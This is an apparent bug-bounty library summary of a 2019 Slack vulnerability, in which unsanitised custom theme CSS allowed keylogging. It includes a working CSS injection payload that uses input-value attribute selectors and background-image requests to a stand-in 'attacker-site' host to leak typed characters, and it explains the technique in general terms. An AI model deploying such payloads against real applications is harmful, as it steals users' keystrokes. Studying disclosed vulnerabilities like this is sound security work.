# Keylogging users via Slack themes

Slack custom themes allowed CSS injection; attribute selectors plus external background-image URLs keylogged text input characters to an attacker server.

- Payout: $500
- Severity: medium
- Program: Slack
- Credited: Matt Langlois
- Disclosed: 2019-11-11
- Write-up quality: 7/10
- Original: https://fletchto99.dev/2019/november/slack-vulnerability/
- Library page: https://bugbountylibrary.com/r/blog%3Afletchto99-dev-2019-november-slack-vulnerability
- Tags: domain:desktop impact:data-leak kind:bounty platform:blog sev:medium technique:oob-exfil technique:source-review vuln:info-disclosure

**Target:** Slack desktop/web client custom theme CSS
**Root cause:** Custom theme CSS was not sanitized, allowing arbitrary CSS rules including attribute selectors and external URL loads inside the Slack client.
**Steps:**
1. Craft theme CSS injecting `#FFFFFF;}INPUT[TYPE="TEXT"][VALUE$="A"] { BACKGROUND-IMAGE: URL("https://attacker-site/A"); }`
2. Victim copies/pastes the theme into Slack custom theme settings
3. When victim types 'A' into a text input, the selector matches and browser loads attacker-site/A
4. Attacker logs the request server-side to confirm the character was typed
**How found:** Started from harmless CSS font-change injection in themes; coworker d12 showed display:none DoS; then realized CSS attribute selectors `[value$="..."]` can match input values and Slack loads external images, enabling exfiltration.
**Exploitation:** Attacker distributes a malicious theme; once applied, per-character CSS attribute selectors trigger background-image requests to attacker-controlled URLs, leaking typed characters via server logs. Requires victim to paste the theme (1-click option was not exploitable).
**Insight:** CSS injection in a client that loads external images is a data-exfil primitive: `[value$="x"]` attribute selectors can brute-force input contents character-by-character via background-image requests, even without script execution.
